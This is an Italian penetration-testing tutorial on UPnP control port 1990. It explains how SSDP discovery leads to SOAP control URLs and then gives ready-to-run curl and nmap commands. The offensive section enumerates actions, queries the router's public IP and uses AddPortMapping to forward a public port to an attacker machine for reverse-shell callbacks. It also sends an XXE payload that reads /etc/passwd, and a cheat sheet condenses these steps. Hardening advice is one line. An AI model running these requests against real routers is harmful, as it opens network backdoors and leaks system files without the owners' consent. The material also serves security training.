networking

Porta 1990 UPnP: SOAP, Port Mapping e Device Control

Porta 1990 UPnP: SOAP, Port Mapping e Device Control

Porta 1990 UPnP nel pentest: SOAP action, port mapping abuse, device control e analisi dei servizi IGD esposti sul router.

  • Pubblicato il 2026-04-12
  • Tempo di lettura: 2 min

Executive Summary — La porta 1990 è una delle porte associate a UPnP (Universal Plug and Play), tipicamente usata per il control point HTTP dove i dispositivi UPnP espongono le loro azioni SOAP. Mentre la porta 1900/UDP gestisce il discovery (SSDP), la 1990 (e altre porte HTTP variabili) ospita le interfacce di controllo dei dispositivi. Qui si invocano le azioni: AddPortMapping su router, SetVolume su media renderer, Browse su media server. Per il contesto completo su SSDP e discovery UPnP, consulta la guida alla porta 1900 SSDP.

Cos’è la porta 1990 (UPnP Control Point / SOAP)

  • La porta 1990 espone il control point UPnP — l’interfaccia SOAP dove si eseguono azioni sui dispositivi
  • Le azioni SOAP includono port forwarding (AddPortMapping), browsing contenuti e configurazione del dispositivo
  • SOAP injection e XXE sono i principali vettori di attacco su implementazioni UPnP vulnerabili i

1. Relazione con Porta 1900 #

PortaProtocolloRuolo UPnP
1900/UDPSSDPDiscovery (M-SEARCH, NOTIFY)
1990/TCPHTTP/SOAPDevice control (azioni)
VarieHTTPDevice description (XML)
VarieHTTPEventing (SUBSCRIBE)

Il flusso: SSDP (1900) scopre i dispositivi → il LOCATION header punta all’XML di descrizione → l’XML contiene il controlURL (spesso sulla 1990 o porta simile) → le azioni SOAP si invocano su quel URL.

2. Enumerazione #

Scan e identificazione #

bash
nmap -sV -p 1990 10.10.10.1

Output:

text
PORT     STATE SERVICE VERSION
1990/tcp open  http    MiniUPnPd

SOAP action enumeration #

bash
# Ottieni il SCPD (Service Control Protocol Description)
curl -s http://10.10.10.1:1990/WANIPCn.xml

Output:

xml
<actionList>
  <action>
    <name>AddPortMapping</name>
  </action>
  <action>
    <name>DeletePortMapping</name>
  </action>
  <action>
    <name>GetExternalIPAddress</name>
  </action>
  <action>
    <name>GetGenericPortMappingEntry</name>
  </action>
</actionList>

Lettura dell’output: quattro azioni disponibili. AddPortMapping crea port forwarding. GetExternalIPAddress rivela l’IP pubblico del router. GetGenericPortMappingEntry lista i forwarding esistenti.

3. Tecniche Offensive #

Invoke SOAP action — GetExternalIPAddress

bash
curl -s -X POST http://10.10.10.1:1990/ctl/IPConn \
  -H "Content-Type: text/xml; charset=utf-8" \
  -H "SOAPAction: \"urn:schemas-upnp-org:service:WANIPConnection:1#GetExternalIPAddress\"" \
  -d '<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
  <s:Body>
    <u:GetExternalIPAddress xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"/>
  </s:Body>
</s:Envelope>'

Output:

xml
<NewExternalIPAddress>203.0.113.50</NewExternalIPAddress>

AddPortMapping — crea forwarding

bash
curl -s -X POST http://10.10.10.1:1990/ctl/IPConn \
  -H "Content-Type: text/xml; charset=utf-8" \
  -H "SOAPAction: \"urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping\"" \
  -d '<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
  <s:Body>
    <u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
      <NewRemoteHost></NewRemoteHost>
      <NewExternalPort>44444</NewExternalPort>
      <NewProtocol>TCP</NewProtocol>
      <NewInternalPort>4444</NewInternalPort>
      <NewInternalClient>10.10.10.200</NewInternalClient>
      <NewEnabled>1</NewEnabled>
      <NewPortMappingDescription>pentest</NewPortMappingDescription>
      <NewLeaseDuration>0</NewLeaseDuration>
    </u:AddPortMapping>
  </s:Body>
</s:Envelope>'

Cosa fai dopo: la porta 44444 sull’IP pubblico del router ora punta alla tua macchina (10.10.10.200:4444). Da Internet: reverse shell callback, accesso a servizi interni. Questo è il vettore che malware IoT usa per la persistenza.

XXE injection su SOAP parser

bash
curl -X POST http://10.10.10.1:1990/ctl/IPConn \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
  <s:Body><test>&xxe;</test></s:Body>
</s:Envelope>'

Se il parser XML del dispositivo è vulnerabile a XXE, ottieni il contenuto di /etc/passwd.

4. Cheat Sheet Finale #

AzioneComando
Scannmap -sV -p 1990 [target]
SCPDcurl http://[target]:1990/[scpd_path].xml
Get external IPSOAP POST GetExternalIPAddress
Add forwardingSOAP POST AddPortMapping
List forwardingSOAP POST GetGenericPortMappingEntry (index 0,1,2…)
XXE testXXE payload nel SOAP body
upnpc (shortcut)upnpc -a [ip] [int_port] [ext_port] TCP

Perché Porta 1990 è rilevante #

È il control plane di UPnP — dove le azioni si eseguono. AddPortMapping senza auth è il rischio principale: crea backdoor di rete. XXE su device embedded è ancora possibile. Per il discovery, vedi porta 1900 SSDP.

Hardening #

Identico alla porta 1900: disabilita UPnP se non necessario. Limita alla LAN. Firmware aggiornato.


Riferimento: UPnP Device Architecture 2.0, UPnP IGD specification. Uso esclusivo in ambienti autorizzati.

hackita.it/supportohackita.it/servizi.

#UPnP #SOAP #Port Mapping #IGD

DIVENTA PARTE DELL’ÉLITE DELL’HACKING ETICO.

Accedi a risorse avanzate, lab esclusivi e strategie usate dai veri professionisti della cybersecurity.

Non sono un robot

Iscrivendoti accetti di ricevere la newsletter di HACKITA. Ti puoi disiscrivere in qualsiasi momento.